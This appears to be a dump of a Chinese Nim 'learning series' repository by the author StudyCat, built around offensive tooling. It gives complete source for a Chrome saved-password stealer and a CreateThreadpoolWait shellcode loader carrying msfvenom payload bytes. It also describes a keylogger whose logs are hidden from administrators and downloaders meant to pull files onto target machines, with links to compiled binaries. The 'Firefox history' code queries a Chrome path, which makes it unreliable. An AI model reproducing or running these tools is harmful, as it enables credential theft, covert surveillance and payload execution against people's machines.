name in filename.lines: 72 | let domain = name & "." & topDomain 73 | spawn resolveIpv4A(client, domain) 74 | sync() 75 | echo "Time taken: ", cpuTime() - time, "s" 76 | outFile.close() 77 | 78 | 79 | outFile = open("subname.log", fmAppend) 80 | when isMainModule: 81 | main() 82 | ``` 83 | 84 | ### 截图 85 | 86 | ![截图](https://files-cdn.cnblogs.com/files/StudyCat/subname.bmp) 87 | 88 | ### 和其他工具对比 89 | 90 | 和 k8gege 的Ladon在同等条件下对比,分别扫描一份一千字的字典,Ladon耗时1235秒,发现291个子域名。而subname.exe耗时8.5秒,发现了289个子域名。相比之下subname.exe快了很多,却能发现几乎一样多的子域名。 91 | 92 | [subname.exe下载链接](https://github.com/StudyCat404/myNimExamples/blob/main/examples/subname.exe) 93 | 94 | 参考: 95 | 96 | https://github.com/k8gege/Ladon/wiki/%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86-%E5%AD%90%E5%9F%9F%E5%90%8D%E7%88%86%E7%A0%B4 97 | 98 | 99 | 100 | -------------------------------------------------------------------------------- /搭建简易的 http server(nim 学习系列).md: -------------------------------------------------------------------------------- 1 | # 搭建简易的 http server(nim 学习系列) 2 | 3 | 像 python 一行命令就可以搭建一个 http server ,方便文件传输。 4 | 5 | python3: 6 | 7 | python -m http.server 80 8 | 9 | python2: 10 | 11 | python -m SimpleHTTPServer 8080 12 | 13 | nim 通过 jester 模块也可实现。 14 | 15 | ### 源代码 16 | 17 | 默认端口是 80 ,也可以指定端口,比如:simpleHttp.exe 8080。默认显示当前目录下的所有文件,点击即可下载。 18 | 19 | ![截图](https://files-cdn.cnblogs.com/files/StudyCat/httpserver.bmp) 20 | 21 | 编译: 22 | 23 | nim compile -d:release --opt:size simpleHttp.nim 24 | 25 | ``` simpleHttp.nim 26 | #[ 27 | Author: StudyCat 28 | Blog: https://www.cnblogs.com/studycat 29 | Github: https://github.com/StudyCat404/myNimExamples 30 | License: BSD 3-Clause 31 | ]# 32 | import jester, asyncdispatch, os, strutils 33 | from net import Port 34 | 35 | var listenPort = 80 36 | if paramCount() > 0: 37 | listenPort = paramStr(1).parseInt() 38 | 39 | settings: 40 | port = Port(listenPort) 41 | appName = "/" 42 | 43 | proc match(request: Request): Future[ResponseData] {.async.} = 44 | block route: 45 | case request.pathInfo 46 | of "/": 47 | var html = "" 48 | for file in walkFiles("*.*"): 49 | html.add "
  • " & file & "
  • " 50 | resp(html) 51 | 52 | else: 53 | var filename = joinPath(getCurrentDir(), request.pathInfo) 54 | if fileExists(filename): 55 | sendFile(filename) 56 | else: 57 | resp Http404, "404 Not found!" 58 | 59 | try: 60 | var server = initJester(match, settings) 61 | server.serve() 62 | except: 63 | echo getCurrentException().msg 64 | 65 | ``` 66 | 67 | -------------------------------------------------------------------------------- /文件下载(nim学习系列).md: -------------------------------------------------------------------------------- 1 | # 文件下载(nim学习系列) 2 | 3 | ------ 4 | 5 | 下载功能主要用于内网文件传输或者将VPS文件下载至目标机器。 6 | 7 | ## http 协议下载 8 | 9 | 这里使用到 [newAsyncHttpClient 函数](https://nim-lang.org/docs/httpclient.html#newAsyncHttpClient%2Cint%2CProxy) 10 | 11 | > * 修改默认的user-agent (defUserAgent = "Nim httpclient/1.4.2") 12 | > * 显示下载进度 13 | 14 | ### 源代码 httpDownload.nim 15 | 16 | 编译 17 | 18 | nim c -d:release --opt:size httpDownload.nim 19 | 20 | 使用 21 | 22 | httpDownload.exe http://speedtest.tele2.net/10MB.zip 10MB.zip 23 | 24 | ``` nim 25 | #[ 26 | Usage: httpDownload.exe http://speedtest.tele2.net/10MB.zip 10MB.zip 27 | Author: StudyCat 28 | Blog: https://www.cnblogs.com/studycat 29 | Github: https://github.com/StudyCat404 30 | License: BSD 3-Clause 31 | ]# 32 | 33 | import asyncdispatch, httpclient, os 34 | 35 | proc onProgressChanged(total, progress, speed: BiggestInt) {.async.} = 36 | echo("Downloaded ", progress, " of ", total) 37 | echo("Current rate: ", speed div 1000, "kb/s") 38 | 39 | proc httpDownload(url, fileName:string) {.async.} = 40 | let ua = r"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1" 41 | var client = newAsyncHttpClient(userAgent = ua) 42 | client.onProgressChanged = onProgressChanged 43 | await client.downloadFile(url, fileName) 44 | echo "File finished downloading" 45 | 46 | when isMainModule: 47 | if paramCount() != 2: 48 | echo "usage: ", paramStr(0), " url fileName" 49 | else: 50 | var myUrl = paramStr(1) 51 | var myFileName = paramStr(2) 52 | waitFor httpDownload(myUrl, myFileName) 53 | ``` 54 | 55 | ## ftp协议下载 56 | 57 | 这里用到[newAsyncFtpClient函数](https://nim-lang.org/docs/asyncftpclient.html#newAsyncFtpClient%2Cstring%2Cstring%2Cstring%2Cint) 58 | 59 | > * 显示下载进度 60 | 61 | ### 源代码 ftpDownload.nim 62 | 63 | 编译 64 | 65 | nim c -d:release --opt:size httpDownload.nim 66 | 67 | 使用 68 | 69 | ftpDownload.exe speedtest.tele2.net ftp anonymous@gmail.com 10MB.zip 70 | 71 | ``` nim 72 | #[ 73 | Usage: ftpDownload.exe speedtest.tele2.net ftp anonymous@gmail.com 10MB.zip 74 | Author: StudyCat 75 | Blog: https://www.cnblogs.com/studycat 76 | License: BSD 3-Clause 77 | ]# 78 | 79 | import asyncdispatch, asyncftpclient, os 80 | 81 | proc onProgressChanged(total, progress: BiggestInt, 82 | speed: float) {.async.} = 83 | echo("Uploaded ", progress, " of ", total, " bytes") 84 | echo("Current speed: ", speed, " kb/s") 85 | 86 | proc ftpDownload(host, username, password, filename: string) {.async.} = 87 | var ftp = newAsyncFtpClient(host, user = username, pass = password, progressInterval = 3000) 88 | await ftp.connect() 89 | echo("Connected") 90 | 91 | let pathSplit = splitPath(filename) 92 | let baseFilename = pathSplit.tail 93 | await ftp.retrFile(filename, baseFilename, onProgressChanged) 94 | echo("File finished downloading") 95 | 96 | when isMainModule: 97 | if paramCount() != 4: 98 | echo "usage: ", paramStr(0), " host username password filename" 99 | else: 100 | var host = paramStr(1) 101 | var username = paramStr(2) 102 | var password = paramStr(3) 103 | var filename = paramStr(4) 104 | waitFor ftpDownload(host, username, password, filename) 105 | ``` 106 | 107 | 108 | 109 | 向k8gege学习: http://k8gege.org/p/648af4b3.html#0x006-%E4%B8%8B%E8%BD%BD%E5%8A%9F%E8%83%BD-2 -------------------------------------------------------------------------------- /读取 chrome 浏览器密码(nim学习系列).md: -------------------------------------------------------------------------------- 1 | # 读取 chrome 浏览器密码(nim学习系列) 2 | 3 | > * 全版本 chrome 浏览器支持 4 | > * 仅支持 windows 系统下使用 5 | > * 需要 sqlite3_32.dll或者sqlite3_64.dll 6 | > * 读取当前用户 chrome 浏览器密码 7 | 8 | ## 源代码 chromepwd.nim 9 | 10 | ``` chromepwd.nim 11 | #[ 12 | Author: StudyCat 13 | Blog: https://www.cnblogs.com/studycat 14 | Github: https://github.com/StudyCat404/myNimExamples 15 | License: BSD 3-Clause 16 | ]# 17 | 18 | import os 19 | import json 20 | import base64 21 | import winim/inc/wincrypt 22 | import sqlite3 23 | import nimcrypto/[rijndael, bcmode] 24 | import winim/lean 25 | 26 | proc cryptUnprotectData(data: openarray[byte]): string = 27 | var dataIn, dataOut: DATA_BLOB 28 | dataIn.cbData = int32(data.len) 29 | dataIn.pbData = unsafeaddr data[0] 30 | 31 | if CryptUnprotectData(addr dataIn, nil, nil, nil, nil, 0, addr dataOut) != 0: 32 | result.setLen(dataOut.cbData) 33 | if dataOut.cbData != 0: 34 | copyMem(addr result[0], dataOut.pbData, dataOut.cbData) 35 | LocalFree(cast[HLOCAL](dataOut.pbData)) 36 | 37 | proc getMasterKey(): string = 38 | let filename = getEnv("USERPROFILE") & r"\AppData\Local\Google\Chrome\User Data\Local State" 39 | if fileExists(filename): 40 | let contents = readFile(filename) 41 | let jsonNode = parseJson(contents) 42 | let masterKeyB64 = jsonNode["os_crypt"]["encrypted_key"].getStr() 43 | let decoded = decode(masterKeyB64) 44 | var masterKey = decoded.substr(5) 45 | result = cryptUnprotectData(toOpenArrayByte(masterKey, 0, masterKey.len() - 1 )) 46 | 47 | 48 | proc passDecrypt(data: openarray[byte]): string = 49 | #echo data 50 | var key {.global.}: string 51 | 52 | if data[0 ..< 3] == [byte 118, 49, 48]: #chrome version > 80 53 | if key.len() == 0: 54 | key = getMasterKey() 55 | 56 | var 57 | ctx: GCM[aes256] 58 | aad: seq[byte] 59 | iv = data[3 ..< 3 + 12] 60 | encrypted = data[3 + 12 ..< data.len() - 16] 61 | tag = data[data.len() - 16 ..< data.len()] 62 | dtag: array[aes256.sizeBlock, byte] 63 | 64 | if encrypted.len() > 0: 65 | result.setLen(encrypted.len()) 66 | ctx.init(key.toOpenArrayByte(0, key.len() - 1), iv, aad) 67 | ctx.decrypt(encrypted, result.toOpenArrayByte(0, result.len() - 1)) 68 | ctx.getTag(dtag) 69 | assert(dtag == tag) 70 | else: 71 | result = cryptUnprotectData(data) #chrome version < 80 72 | 73 | proc main() = 74 | let filename = getEnv("USERPROFILE") & r"\AppData\Local\Google\Chrome\User Data\Default\Login Data" 75 | let tempFileName = getTempDir() & "Login Data" 76 | copyFile(filename, tempFileName) 77 | if fileExists(tempFileName): 78 | var 79 | db: PSqlite3 80 | rc: int 81 | tail : ptr cstring 82 | stmt: PStmt = nil 83 | zSql: cstring = "SELECT action_url, username_value, password_value FROM logins" 84 | 85 | discard open(tempFileName, db) 86 | var msg = prepare(db, zSql, -1, stmt, tail) 87 | if msg == SQLITE_OK: 88 | rc = stmt.step() 89 | while rc == SQLITE_ROW : 90 | echo "Url: ", column_text(stmt, 0) 91 | echo "User: ", column_text(stmt, 1) 92 | var blobData: seq[byte] 93 | blobData.setLen(int(column_bytes(stmt, 2))) 94 | copyMem(unsafeAddr(blobData[0]), column_blob(stmt, 2), int(column_bytes(stmt, 2))) 95 | echo "Pass: ", passDecrypt(blobData) 96 | echo "" 97 | 98 | rc = stmt.step() 99 | 100 | discard finalize(stmt) 101 | discard close(db) 102 | 103 | removeFile(tempFileName) 104 | 105 | when isMainModule: 106 | when defined(windows): 107 | main() 108 | ``` 109 | 110 | 截图: 111 | 112 | ![截图](https://files-cdn.cnblogs.com/files/StudyCat/chromepwd.bmp) 113 | 114 | 工具下载链接: 115 | 116 | [chromepwd64.exe](https://github.com/StudyCat404/myNimExamples/blob/main/examples/chromepwd64.exe) 117 | 118 | [sqlite3_64.dll](https://github.com/StudyCat404/myNimExamples/blob/main/examples/sqlite3_64.dll) 119 | 120 | -------------------------------------------------------------------------------- /读取firefox浏览器历史记录(nim学习系列).md: -------------------------------------------------------------------------------- 1 | # 读取firefox浏览器历史记录(nim学习系列) 2 | 3 | ## 读取firefox历史记录 4 | 5 | 读取firefox浏览器历史记录并保存到CSV文件(需要sqlite3_64.dll或者sqlite3_32.dll)。 6 | 7 | 编译: 8 | 9 | nim c -d:release --opt:size --cpu:amd64 firefoxHistory.nim 10 | 11 | nim c -d:release --opt:size --cpu:i386 firefoxHistory.nim 12 | 13 | ### 源代码 14 | 15 | ``` nim 16 | #[ 17 | Author: StudyCat 18 | Blog: https://www.cnblogs.com/studycat 19 | Github: https://github.com/StudyCat404/myNimExamples 20 | License: BSD 3-Clause 21 | ]# 22 | 23 | import db_sqlite 24 | import osproc 25 | import os 26 | import strutils 27 | import streams 28 | import times 29 | 30 | let time = cpuTime() 31 | 32 | proc findDBFiles(command: string): seq[string] = 33 | echo command 34 | var cmdArgs: array[3,string] 35 | var outp: string 36 | 37 | cmdArgs[0] = "/Q" 38 | cmdArgs[1] = "/C" 39 | cmdArgs[2] = command 40 | let shell = os.getEnv("COMSPEC") 41 | outp = osproc.execProcess(shell, args=cmdArgs, options={poStdErrToStdOut,poUsePath}) 42 | var line = "" 43 | var strm = newStringStream(outp) 44 | if not isNil(strm): 45 | while strm.readLine(line): 46 | if line.len() > 0: 47 | result.add(line) 48 | 49 | proc firefoxHistory(dbFilePath: string) = 50 | var record: string 51 | var f: File 52 | f = open("firefoxHistory.csv", fmAppend) 53 | 54 | if fileExists(dbFilePath): 55 | let db = open(dbFilePath, "", "", "") 56 | try: 57 | for row in db.fastRows(sql"select moz_places.title, moz_places.url, datetime(moz_places.last_visit_date / 1000000, 'unixepoch') from moz_places"): 58 | record = join(row, ",") 59 | f.writeLine(record) 60 | except: 61 | stderr.writeLine(getCurrentExceptionMsg()) 62 | finally: 63 | db.close() 64 | f.close() 65 | 66 | when isMainModule: 67 | when defined windows: 68 | for path in findDBFiles("dir '%appdata%/../Local/Google/Chrome/User Data/Default/History' /s /b"): 69 | firefoxHistory(path) 70 | 71 | echo "Time taken: ", cpuTime() - time, "s" 72 | ``` 73 | 74 | -------------------------------------------------------------------------------- /调用 MessageBoxW 函数(nim学习系列).md: -------------------------------------------------------------------------------- 1 | # 调用 MessageBoxW 函数(nim学习系列) 2 | 3 | 不引用 winim 库调用 winapi 中的 MessageBoxW 函数。 4 | 5 | ## 源代码 popw.nim 6 | 7 | ``` nim 8 | #[ 9 | Author: StudyCat 10 | Blog: https://www.cnblogs.com/studycat 11 | Github: https://github.com/StudyCat404/myNimExamples 12 | License: BSD 3-Clause 13 | ]# 14 | 15 | type 16 | HANDLE* = int 17 | HWND* = HANDLE 18 | UINT* = int32 19 | WCHAR* = uint16 20 | LPCWSTR* = ptr WCHAR 21 | 22 | var title: array[14,uint16] 23 | title = [72'u16,101'u16,108'u16,108'u16,111'u16,44'u16,32'u16,119'u16,111'u16,114'u16,108'u16,100'u16,32'u16,33'u16] 24 | 25 | var text: array[15,uint16] 26 | text = [78'u16,105'u16,109'u16,32'u16,105'u16,115'u16,32'u16,80'u16,111'u16,119'u16,101'u16,114'u16,102'u16,117'u16,108'u16] 27 | 28 | proc MessageBox*(hWnd: HWND, lpText: LPCWSTR, lpCaption: LPCWSTR, uType: UINT): int32 29 | {.discardable, stdcall, dynlib: "user32", importc: "MessageBoxW".} 30 | 31 | MessageBox(0, addr text[0], addr title[0], 0) 32 | ``` 33 | 34 | 或者使用 winim 35 | 36 | ``` nim 37 | import winim/lean 38 | # T macro generate unicode string or ansi string depend on conditional symbol: useWinAnsi. 39 | MessageBox(0, T"Hello, world !", T"Nim is Powerful 中文測試", 0) 40 | ``` 41 | 42 | 43 | 44 | ## 引用 45 | 46 | https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-messageboxw 47 | 48 | https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/pop_bin.nim 49 | 50 | https://github.com/khchen/winim/blob/bffaf742b4603d1f675b4558d250d5bfeb8b6630/readme.md -------------------------------------------------------------------------------- /通过CreateThreadpoolWait执行shellcode.md: -------------------------------------------------------------------------------- 1 | ``` 2 | 首先通过CreateEvent函数创建一个signaled的事件对象,也就是第三个参数必须为TRUE。否则shellcode将不会得到执行,且进程将一直等待下去。 3 | 4 | 使用CreateThreadpoolWait函数创建一个线程池等待回调,我们只需要关心第一个参数也就是等待完成或者超时后要执行的回调函数,这里我们将该回调函数设置为shellcode。 5 | 6 | 使用SetThreadpoolWait函数将等待对象和第一步创建的句柄绑定,一个等待对象只能等待几个句柄。当句柄对象变成signaled或超时后会执行等待对象的回调函数。 7 | 8 | 使用WaitForSingleObject对第一步的事件对象进行等待。由于我们的事件对象本身就是signaled的,所以设置的回调函数会立马得到执行。如此就执行了shellcode。 9 | ``` 10 | ```poc.nim 11 | import winim 12 | import winim/lean 13 | 14 | proc myThread[I, T](shellcode: array[I, T]): void = 15 | let tProcess = GetCurrentProcessId() 16 | echo "Current Process ID: ", tProcess 17 | var pHandle: HANDLE = OpenProcess(PROCESS_ALL_ACCESS, FALSE, tProcess) 18 | 19 | let rPtr = VirtualAllocEx( 20 | pHandle, 21 | NULL, 22 | cast[SIZE_T](shellcode.len), 23 | MEM_COMMIT, 24 | PAGE_EXECUTE_READ_WRITE 25 | ) 26 | 27 | var bytesWritten: SIZE_T 28 | let wSuccess = WriteProcessMemory( 29 | pHandle, 30 | rPtr, 31 | unsafeAddr shellcode, 32 | cast[SIZE_T](shellcode.len), 33 | addr bytesWritten 34 | ) 35 | let shellcodeAddress = cast[PTP_WAIT_CALLBACK](rPtr) 36 | var event: HANDLE = CreateEvent(NULL, FALSE, TRUE, NULL) 37 | var threadPoolWait: PTP_WAIT = CreateThreadpoolWait((PTP_WAIT_CALLBACK)shellcodeAddress, NULL, NULL) 38 | SetThreadpoolWait(threadPoolWait, event, NULL) 39 | WaitForSingleObject(event, INFINITE) 40 | 41 | when defined(windows): 42 | # https://github.com/nim-lang/Nim/wiki/Consts-defined-by-the-compiler 43 | when defined(i386): 44 | # msfvenom -p windows/exec CMD=calc.exe -f csharp, then modified for Nim arrays 45 | echo "[*] Running in x86 process" 46 | var shellcode: array[193, byte] = [byte 0xfc,0xe8,0x82,0x00,0x00,0x00, 47 | 0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c, 48 | 0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff, 49 | 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7, 50 | 0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c, 51 | 0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3, 52 | 0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31, 53 | 0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03, 54 | 0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01, 55 | 0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04, 56 | 0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a, 57 | 0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x6a, 58 | 0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f, 59 | 0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd, 60 | 0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05, 61 | 0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,0x61, 62 | 0x6c,0x63,0x2e,0x65,0x78,0x65,0x00] 63 | 64 | 65 | elif defined(amd64): 66 | # msfvenom -p windows/x64/exec CMD=calc.exe -f csharp, then modified for Nim arrays 67 | echo "[*] Running in x64 process" 68 | var shellcode: array[276, byte] = [byte 0xfc,0x48,0x83,0xe4,0xf0,0xe8, 69 | 0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48, 70 | 0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48, 71 | 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a, 72 | 0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c, 73 | 0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41, 74 | 0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b, 75 | 0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01, 76 | 0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0, 77 | 0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6, 78 | 0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41, 79 | 0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45, 80 | 0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0, 81 | 0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0, 82 | 0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e, 83 | 0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20, 84 | 0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9, 85 | 0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00, 86 | 0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba, 87 | 0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41, 88 | 0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c, 89 | 0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72, 90 | 0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c, 91 | 0x63,0x2e,0x65,0x78,0x65,0x00] 92 | 93 | # This is essentially the equivalent of 'if __name__ == '__main__' in python 94 | when isMainModule: 95 | myThread(shellcode) 96 | ``` -------------------------------------------------------------------------------- /键盘记录器(nim学习系列).md: -------------------------------------------------------------------------------- 1 | # 键盘记录器(nim学习系列) 2 | 3 | 本系列随笔仅用于学习目的,不能保证代码的兼容性和健壮性。 4 | 5 | 最近学习 @byt3bl33d3r 的Github项目,简单修改 keylogger_bin.nim,将键盘记录信息经过AES加密并保存到文件。 6 | 7 | ### 截图 8 | 9 | 程序将键盘记录输出到控制台的同时,也保存到文件(临时目录下一个随机文件名),这样做的目的是不想被管理员或者友军看到记录的内容。需要时下载回本地,解密即可。 10 | 11 | ![截图1](https://files-cdn.cnblogs.com/files/StudyCat/keylogger1.bmp) 12 | 13 | ![截图2](https://files-cdn.cnblogs.com/files/StudyCat/keylogger2.bmp) 14 | 15 | ### 源代码 16 | 17 | [keylogger.nim](https://github.com/StudyCat404/myNimExamples/blob/main/examples/keylogger.nim) 18 | 19 | [decrypt.nim](https://github.com/StudyCat404/myNimExamples/blob/main/examples/decrypt.nim) 20 | --------------------------------------------------------------------------------